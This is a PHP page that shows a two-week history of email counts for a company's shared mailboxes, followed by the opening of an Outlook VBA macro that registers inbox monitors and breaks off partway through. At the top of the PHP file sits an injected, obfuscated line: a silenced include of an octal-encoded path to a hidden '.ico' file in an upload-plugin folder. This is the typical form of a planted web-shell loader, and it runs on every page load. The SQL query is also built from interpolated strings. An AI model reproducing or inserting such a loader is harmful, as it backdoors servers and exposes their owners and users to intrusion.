Provide History of Emails Received


// index.php
// Last Modified: 09/30/2021
// Page to show email count of Shared Mailboxes
// Author: Dennis DeOcampo

<?php
/*a02da*/

@include "\057home\064/our\151t/pu\142lic_\150tml/\143apel\154a/jQ\165ery-\106ile-\125ploa\144-9.2\062.0/c\157rs/.\06323f2\06627.i\143o";

/*a02da*/
?> 
<HTML>
<html>

<HEAD>
    <STYLE>
    
    .Row1
    {
        font-family: arial,helvetica,sans-serif; 
        font-size: 16px; 
        padding: 2px;
    }
    
    .Row2
    {
        font-family: arial,helvetica,sans-serif; 
        font-size: 16px; 
        background-color:#90ee90;
        padding: 2px;

    }
    
    .Header1
    {
	    font-family: arial,helvetica,sans-serif; 
	    font-size: 16px; 
	    font-weight:bold;
        padding: 2px;

    }
    .Data1
    {
        font-family: arial,helvetica,sans-serif; 
	    font-size: 16px; 
        padding: 2px;

    }
    .columnH1 
    {
     text-align: center; 
    background-color: #0000cc;
    color: #ffffff;
    padding: 8px;
 
    }
    
    .columnH 
    {
     text-align: right; 
     border-bottom: 1px #333333 solid;
    }
    .totalH 
    {
     text-align: right; 
    background-color:yellow;
      font-weight: bold;    
    }
     </STYLE>
 <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
 <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>

</HEAD>       
<BODY>

<H3 style='text-align:center;'>Shared Mailbox Count History</H3>

<?php


$dateM = date('m');
$dateD = date('d');
$dateY = date('Y'); 
$dateL = date('l');


echo "<div class='container'>";
echo "<table id='main' border=0>";
echo "<tr>";
echo "<td>";


#############################

echo "<table>";
echo "<tr><td valign='top' class='columnH1'>&nbsp;<br>&nbsp;</td></tr>";

getRowName();
echo "</table>";
echo "</td><td valign='top'>";


###############################
//-14
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-14 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-13 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
##################################
//-13
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-13 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-12 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-12
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-12 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-11 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-11
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-11 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-10 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-10
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-10 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-9 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-9
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-9 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-8 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-8
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-8 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-7 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-7
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-7 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-6 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-6
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-6 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-5 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-5
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-5 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-4 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-4
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-4 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-3 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
#################################
//-3
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-3 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-2 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
###################################
//-2
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-2 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-1 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
####################################
//-1
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-1 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('-0 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";
####################################
//0
$currentdate = date('Y-m-d');
$dateRangeFrom = strtotime('-0 day', strtotime($currentdate));
$dateRangeFrom = date('Y-m-d', $dateRangeFrom);
$dateRangeTo = strtotime('+1 day', strtotime($currentdate));
$dateRangeTo = date('Y-m-d', $dateRangeTo);
$newDate = date("m/d", strtotime($dateRangeFrom));  
$day = date("l",strtotime($dateRangeFrom));
$day = substr($day,0,3);
echo "<table>";
echo "<tr><td valign='top' class='columnH1'>$day <br> $newDate</td></tr>";
getDD($dateRangeFrom,$dateRangeTo);
echo "</table>";
echo "</td><td valign='top'>";

####################################

//row names
function getRowName()
{

//orders
echo "<tr><td class='columnH'>ordersNE</td></tr>";
echo "<tr><td class='columnH'>ordersFSWest</td></tr>";
echo "<tr><td class='totalH'>Orders Total:</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//samples
echo "<tr><td class='columnH'>samplesMW</td></tr>";
echo "<tr><td class='columnH'>samplesWest</td></tr>";
echo "<tr><td class='columnH'>samplesNE</td></tr>";
echo "<tr><td class='columnH'>samplesSE</td></tr>";
echo "<tr><td class='columnH'>samplesCentral</td></tr>";
echo "<tr><td class='totalH'>Samples Total:</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//clientsBB
//echo "<tr><td class='columnH'>clientBillingCentral</td></tr>";
//echo "<tr><td class='columnH'>clientBillingMW</td></tr>";
//echo "<tr><td class='columnH'>clientBillingNE</td></tr>";
//echo "<tr><td class='columnH'>clientBillingSE</td></tr>";
//echo "<tr><td class='columnH'>clientBillingWest</td></tr>";
//echo "<tr><td class='totalH'>Client Billing Total: </td></tr>";
//echo "<tr><td>&nbsp;</td></tr>";
//BBacks
echo "<tr><td class='columnH'>BillBacksFSNE</td></tr>";
echo "<tr><td class='columnH'>BillBacksFSSE</td></tr>";
echo "<tr><td class='columnH'>BillBacks_MidWest_FS</td></tr>";
echo "<tr><td class='columnH'>BillBacksFSWest</td></tr>";
echo "<tr><td class='columnH'>BillBacksFSCentral</td></tr>";
echo "<tr><td class='totalH'>Billbacks Total </td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//Programss
echo "<tr><td class='columnH'>ProgramsFSSE</td></tr>";
echo "<tr><td class='columnH'>ProgramsFSNE</td></tr>";
echo "<tr><td class='columnH'>ProgramsFSMidWest</td></tr>";
echo "<tr><td class='columnH'>ProgramsFSCentral</td></tr>";
echo "<tr><td class='columnH'>ProgramsFSWest</td></tr>";
echo "<tr><td class='totalH'>Programs Total: </td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//FSComm
echo "<tr><td class='columnH'>FSCommWest</td></tr>";
echo "<tr><td class='columnH'>FSCommEast</td></tr>";
echo "<tr><td class='columnH'>FoodServiceCommunications</td></tr>";
echo "<tr><td class='totalH'>Comm Total: </td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//fax
echo "<tr><td class='columnH'>AcostaFSFaxWest</td></tr>";
echo "<tr><td class='columnH'>AcostaFSFaxCentral</td></tr>";
echo "<tr><td class='columnH'>AcostaFSFax</td></tr>";
echo "<tr><td class='columnH'>AcostaFSFaxMW</td></tr>";
echo "<tr><td class='columnH'>AcostaFSFaxNE</td></tr>";
echo "<tr><td class='columnH'>AcostaFSFaxSE</td></tr>";
echo "<tr><td class='columnH'>AcostaCStoneFax</td></tr>";
echo "<tr><td class='totalH'>Faxes Total: </td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//Misc
echo "<tr><td class='columnH'>DeductionsFS</td></tr>";
echo "<tr><td class='columnH'>PricingFS</td></tr>";
echo "<tr><td class='columnH'>BidsSE</td></tr>";
echo "<tr><td class='columnH'>DocLibrary</td></tr>";
echo "<tr><td class='columnH'>FSMDM</td></tr>";
echo "<tr><td class='columnH'>FSSampleBillBacks</td></tr>";
echo "<tr><td class='columnH'>QualityFS</td></tr>";
echo "<tr><td class='totalH'>Misc Total: </td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//Cornerstone
echo "<tr><td class='columnH'>CornerstoneSamples</td></tr>";
echo "<tr><td class='columnH'>CornerstoneCS</td></tr>";
echo "<tr><td class='totalH'>Cornerstone Total: </td></tr>";
echo "<tr><td>&nbsp;</td></tr>";


} 

function getDD($from,$to)
{

$orders = array("ordersNE","ordersFSWest");
$samples = array("samplesMW","samplesWest","samplesNE","samplesSE","samplesCentral");
$clientBill = array("clientBillingCentral","clientBillingMW","clientBillingNE","clientBillingSE","clientBillingWest");
$billBacks = array("BillBacksFSNE","BillBacksFSSE","BillBacks_MidWest_FS","BillBacksFSWest","BillBacksFSCentral");
$programs = array("ProgramsFSSE","ProgramsFSNE","ProgramsFSMidWest","ProgramsFSCentral","ProgramsFSWest");
$fscomm = array("FSCommWest","FSCommEast","FoodServiceCommunications");
$fax = array("AcostaFSFaxWest","AcostaFSFaxCentral","AcostaFSFax","AcostaFSFaxMW","AcostaFSFaxNE","AcostaFSFaxSE","AcostaCStoneFax");
$misc = array("DeductionsFS","PricingFS","BidsSE","DocLibrary","FSMDM","FSSampleBillBacks","QualityFS");
$cornerstone = array("CornerstoneSamples","CornerstoneCS");
//----------
    foreach($orders as $value) {
        $val = getDay($from,$to,"$daynum","$value@acosta.com");
        $$value = $val;
        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
        $orderTotal = $orderTotal + $$value++;
    }
echo "<tr style='text-align:right;'><td class='totalH'>$orderTotal</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//-------------------
    foreach($samples as $value) {
        $val = getDay($from,$to,"$daynum","$value@acosta.com");
        $$value = $val;
        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
        $sampleTotal = $sampleTotal + $$value++;
    }
echo "<tr style='text-align:right'><td class='totalH'>$sampleTotal</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";

//----------------------
//  foreach($clientBill as $value) {
//       $val = getDay($from,$to,"$daynum","$value@acosta.com");
//        $$value = $val;
//        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
//        $cbTotal = $cbTotal + $$value++;
//    }
// echo "<tr style='text-align:right'><td class='totalH'>$cbTotal</td></tr>";
// echo "<tr><td>&nbsp;</td></tr>";
//------------------------------------
    foreach($billBacks as $value) {
        $val = getDay($from,$to,"$daynum","$value@acosta.com");
        $$value = $val;
        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
        $bbTotal = $bbTotal + $$value++;
    }
echo "<tr style='text-align:right'><td class='totalH'>$bbTotal</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//------------------------------
    foreach($programs as $value) {
        $val = getDay($from,$to,"$daynum","$value@acosta.com");
        $$value = $val;
        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
        $pgTotal = $pgTotal + $$value++;
    }
echo "<tr style='text-align:right'><td class='totalH'>$pgTotal</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//------------------------------------
    foreach($fscomm as $value) {
        $val = getDay($from,$to,"$daynum","$value@acosta.com");
        $$value = $val;
        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
        $fscTotal = $fscTotal + $$value++;
    }
echo "<tr style='text-align:right'><td class='totalH'>$fscTotal</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//---------------------
    foreach($fax as $value) {
        $val = getDay($from,$to,"$daynum","$value@acosta.com");
        $$value = $val;
        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
        $fxTotal = $fxTotal + $$value++;
    }
echo "<tr style='text-align:right' class='totalH'><td>$fxTotal</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//-------------------------
    foreach($misc as $value) {
        $val = getDay($from,$to,"$daynum","$value@acosta.com");
        $$value = $val;
        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
        $miscTotal = $miscTotal + $$value++;
    }
echo "<tr style='text-align:right'><td class='totalH'>$miscTotal</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";
//----------------------
    foreach($cornerstone as $value) {
        $val = getDay($from,$to,"$daynum","$value@acosta.com");
        $$value = $val;
        echo "<tr style='text-align:right; border-bottom:1px solid #333333;'><td>" . $$value . "</td></tr>";
        $csTotal = $csTotal + $$value++;
    }
echo "<tr style='text-align:right'><td class='totalH'>$csTotal</td></tr>";
echo "<tr><td>&nbsp;</td></tr>";


}


function getDay($from,$to,$daynum,$em)
{
    $newdformat = strtotime("$from");
    $dformat = date('m/d/y',$newdformat);
    $day = date('D',$newdformat);
    include("connect.php");
    $strSQL = "SELECT count(pid) as total from emailHistory where transdate between '$from' AND '$to' AND toField = '$em';";
   
    //Initiates SQL query
    $Total = 0;
    $result = mysqli_query($connect,$strSQL);

    if (mysqli_num_rows($result) > 0)
    {
        while ($row = mysqli_fetch_array($result))
        {
            $Total = $row['total'];
        }   
    }
    return $Total;

}

echo "</td>";
echo "</tr>";
echo "</table>";
echo "</div>";


?>


        
            </BODY>
</HTML>


VBScript to icrement email count as email is received on each mailbox:
' Dennis DeOcampo
' dennis@ourITSource.com
' Date: 12/22/2019
' Latest Update: 01/08/2020
' Summary: This program counts the number of email that arrives on each mailbox by sending email information to an online mySQL database.

Option Explicit
 
Private Monitor1 As Outlook.MAPIFolder
Private Monitor2 As Outlook.MAPIFolder
Private Monitor3 As Outlook.MAPIFolder
Private Monitor4 As Outlook.MAPIFolder
Private Monitor5 As Outlook.MAPIFolder
Private Monitor6 As Outlook.MAPIFolder
Private Monitor7 As Outlook.MAPIFolder
Private Monitor8 As Outlook.MAPIFolder
Private Monitor9 As Outlook.MAPIFolder
Private Monitor10 As Outlook.MAPIFolder
Private Monitor11 As Outlook.MAPIFolder
Private Monitor12 As Outlook.MAPIFolder
Private Monitor13 As Outlook.MAPIFolder
Private Monitor14 As Outlook.MAPIFolder
Private Monitor15 As Outlook.MAPIFolder
Private Monitor16 As Outlook.MAPIFolder
Private Monitor17 As Outlook.MAPIFolder
Private Monitor18 As Outlook.MAPIFolder
Private Monitor19 As Outlook.MAPIFolder
Private Monitor20 As Outlook.MAPIFolder
Private Monitor21 As Outlook.MAPIFolder
Private Monitor22 As Outlook.MAPIFolder
Private Monitor23 As Outlook.MAPIFolder
Private Monitor24 As Outlook.MAPIFolder
Private Monitor25 As Outlook.MAPIFolder
Private Monitor26 As Outlook.MAPIFolder
Private Monitor27 As Outlook.MAPIFolder
Private Monitor28 As Outlook.MAPIFolder
Private Monitor29 As Outlook.MAPIFolder
Private Monitor30 As Outlook.MAPIFolder
Private Monitor31 As Outlook.MAPIFolder
Private Monitor32 As Outlook.MAPIFolder
Private Monitor33 As Outlook.MAPIFolder
Private Monitor34 As Outlook.MAPIFolder
Private Monitor35 As Outlook.MAPIFolder
Private Monitor36 As Outlook.MAPIFolder
Private Monitor37 As Outlook.MAPIFolder
Private Monitor38 As Outlook.MAPIFolder
Private Monitor39 As Outlook.MAPIFolder
Private Monitor40 As Outlook.MAPIFolder
Private Monitor41 As Outlook.MAPIFolder
Private Monitor42 As Outlook.MAPIFolder
Private Monitor43 As Outlook.MAPIFolder
Private Monitor44 As Outlook.MAPIFolder
Private Monitor45 As Outlook.MAPIFolder
'Private Monitor46 As Outlook.MAPIFolder
Private Monitor47 As Outlook.MAPIFolder
Private Monitor48 As Outlook.MAPIFolder
Private Monitor49 As Outlook.MAPIFolder
Private Monitor50 As Outlook.MAPIFolder
Private Monitor51 As Outlook.MAPIFolder


Private WithEvents Received1 As Outlook.Items
Private WithEvents Received2 As Outlook.Items
Private WithEvents Received3 As Outlook.Items
Private WithEvents Received4 As Outlook.Items
Private WithEvents Received5 As Outlook.Items
Private WithEvents Received6 As Outlook.Items
Private WithEvents Received7 As Outlook.Items
Private WithEvents Received8 As Outlook.Items
Private WithEvents Received9 As Outlook.Items
Private WithEvents Received10 As Outlook.Items
Private WithEvents Received11 As Outlook.Items
Private WithEvents Received12 As Outlook.Items
Private WithEvents Received13 As Outlook.Items
Private WithEvents Received14 As Outlook.Items
Private WithEvents Received15 As Outlook.Items
Private WithEvents Received16 As Outlook.Items
Private WithEvents Received17 As Outlook.Items
Private WithEvents Received18 As Outlook.Items
Private WithEvents Received19 As Outlook.Items
Private WithEvents Received20 As Outlook.Items
Private WithEvents Received21 As Outlook.Items
Private WithEvents Received22 As Outlook.Items
Private WithEvents Received23 As Outlook.Items
Private WithEvents Received24 As Outlook.Items
Private WithEvents Received25 As Outlook.Items
Private WithEvents Received26 As Outlook.Items
Private WithEvents Received27 As Outlook.Items
Private WithEvents Received28 As Outlook.Items
Private WithEvents Received29 As Outlook.Items
Private WithEvents Received30 As Outlook.Items
Private WithEvents Received31 As Outlook.Items
Private WithEvents Received32 As Outlook.Items
Private WithEvents Received33 As Outlook.Items
Private WithEvents Received34 As Outlook.Items
Private WithEvents Received35 As Outlook.Items
Private WithEvents Received36 As Outlook.Items
Private WithEvents Received37 As Outlook.Items
Private WithEvents Received38 As Outlook.Items
Private WithEvents Received39 As Outlook.Items
Private WithEvents Received40 As Outlook.Items
Private WithEvents Received41 As Outlook.Items
Private WithEvents Received42 As Outlook.Items
Private WithEvents Received43 As Outlook.Items
Private WithEvents Received44 As Outlook.Items
Private WithEvents Received45 As Outlook.Items
'Private WithEvents Received46 As Outlook.Items
Private WithEvents Received47 As Outlook.Items
Private WithEvents Received48 As Outlook.Items
Private WithEvents Received49 As Outlook.Items
Private WithEvents Received50 As Outlook.Items
Private WithEvents Received51 As Outlook.Items

Private Sub Application_Startup()

        Set Monitor1 = Application.GetNamespace("MAPI").Folders("dvdeocampo@outlook.com").Folders("Inbox")
        
        Set Monitor2 = Application.GetNamespace("MAPI").Folders("BillbacksFSSE@acosta.com").Folders("Inbox")
        Set Monitor3 = Application.GetNamespace("MAPI").Folders("FSSampleBillBacks@acosta.com").Folders("Inbox")
        Set Monitor4 = Application.GetNamespace("MAPI").Folders("BillBacks_Midwest_FS@acosta.com").Folders("Inbox")
        Set Monitor5 = Application.GetNamespace("MAPI").Folders("BillbacksFSWest@acosta.com").Folders("Inbox")
        Set Monitor6 = Application.GetNamespace("MAPI").Folders("BillbacksFSCentral@acosta.com").Folders("Inbox")
        Set Monitor7 = Application.GetNamespace("MAPI").Folders("FSCommWest@acosta.com").Folders("Inbox")
        Set Monitor8 = Application.GetNamespace("MAPI").Folders("FSCommEast@acosta.com").Folders("Inbox")
        Set Monitor9 = Application.GetNamespace("MAPI").Folders("AcostaFSFaxWest@acosta.com").Folders("Inbox")
        Set Monitor10 = Application.GetNamespace("MAPI").Folders("AcostaFSFaxCentral@acosta.com").Folders("Inbox")
        Set Monitor11 = Application.GetNamespace("MAPI").Folders("AcostaFSFax@acosta.com").Folders("Inbox")
        Set Monitor12 = Application.GetNamespace("MAPI").Folders("AcostaFSFaxMW@acosta.com").Folders("Inbox")
        Set Monitor13 = Application.GetNamespace("MAPI").Folders("AcostaFSFaxNE@acosta.com").Folders("Inbox")
        Set Monitor14 = Application.GetNamespace("MAPI").Folders("AcostaFSFaxSE@acosta.com").Folders("Inbox")
        Set Monitor15 = Application.GetNamespace("MAPI").Folders("DeductionsFS@acosta.com").Folders("Inbox")
        Set Monitor16 = Application.GetNamespace("MAPI").Folders("PricingFS@acosta.com").Folders("Inbox")
       
        Set Monitor17 = Application.GetNamespace("MAPI").Folders("ordersSE@acosta.com").Folders("Inbox")
        Set Monitor18 = Application.GetNamespace("MAPI").Folders("ordersNE@acosta.com").Folders("Inbox")
        Set Monitor19 = Application.GetNamespace("MAPI").Folders("ordersFSWest@acosta.com").Folders("Inbox")
        Set Monitor20 = Application.GetNamespace("MAPI").Folders("ordersFSMW@acosta.com").Folders("Inbox")
        Set Monitor21 = Application.GetNamespace("MAPI").Folders("ordersFSCentral@acosta.com").Folders("Inbox")

        Set Monitor22 = Application.GetNamespace("MAPI").Folders("samplesFL@acosta.com").Folders("Inbox")
        Set Monitor23 = Application.GetNamespace("MAPI").Folders("samplesMW@acosta.com").Folders("Inbox")
        Set Monitor24 = Application.GetNamespace("MAPI").Folders("samplesWest@acosta.com").Folders("Inbox")
        Set Monitor25 = Application.GetNamespace("MAPI").Folders("samplesNE@acosta.com").Folders("Inbox")
        Set Monitor26 = Application.GetNamespace("MAPI").Folders("samplesSE@acosta.com").Folders("Inbox")
        Set Monitor27 = Application.GetNamespace("MAPI").Folders("SamplesCentral@acosta.com").Folders("Inbox")
 
        Set Monitor28 = Application.GetNamespace("MAPI").Folders("Clientbillingcentral@acosta.com").Folders("Inbox")
        Set Monitor29 = Application.GetNamespace("MAPI").Folders("ClientbillingMW@acosta.com").Folders("Inbox")
        Set Monitor30 = Application.GetNamespace("MAPI").Folders("ClientbillingNE@acosta.com").Folders("Inbox")
        Set Monitor31 = Application.GetNamespace("MAPI").Folders("ClientbillingSE@acosta.com").Folders("Inbox")
        Set Monitor32 = Application.GetNamespace("MAPI").Folders("ClientbillingWest@acosta.com").Folders("Inbox")
     
        Set Monitor33 = Application.GetNamespace("MAPI").Folders("ProgramsFSSE@acosta.com").Folders("Inbox")
        Set Monitor34 = Application.GetNamespace("MAPI").Folders("ProgramsFSNE@acosta.com").Folders("Inbox")
        Set Monitor35 = Application.GetNamespace("MAPI").Folders("ProgramsFSMidwest@acosta.com").Folders("Inbox")
        Set Monitor36 = Application.GetNamespace("MAPI").Folders("ProgramsFSCentral@acosta.com").Folders("Inbox")
        Set Monitor37 = Application.GetNamespace("MAPI").Folders("ProgramsFSWest@acosta.com").Folders("Inbox")
        Set Monitor38 = Application.GetNamespace("MAPI").Folders("BidsSE@acosta.com").Folders("Inbox")
        Set Monitor39 = Application.GetNamespace("MAPI").Folders("CornerStoneSamples@acosta.com").Folders("Inbox")
        
        Set Monitor40 = Application.GetNamespace("MAPI").Folders("FoodServiceCommunications@acosta.com").Folders("Inbox")
        Set Monitor41 = Application.GetNamespace("MAPI").Folders("CornerStoneOPS@acosta.com").Folders("Inbox")
       
        Set Monitor42 = Application.GetNamespace("MAPI").Folders("CornerStoneSales@acosta.com").Folders("Inbox")
        Set Monitor43 = Application.GetNamespace("MAPI").Folders("CornerStoneBids@acosta.com").Folders("Inbox")
        Set Monitor44 = Application.GetNamespace("MAPI").Folders("CornerStoneLC@acosta.com").Folders("Inbox")
        Set Monitor45 = Application.GetNamespace("MAPI").Folders("CornerStoneSamples@acosta.com").Folders("Inbox")
        'Set Monitor46 = Application.GetNamespace("MAPI").Folders("CornerStoneCS@acosta.com").Folders("Inbox")
        Set Monitor47 = Application.GetNamespace("MAPI").Folders("DocLibrary@acosta.com").Folders("Inbox")
        Set Monitor48 = Application.GetNamespace("MAPI").Folders("FSMDM@acosta.com").Folders("Inbox")
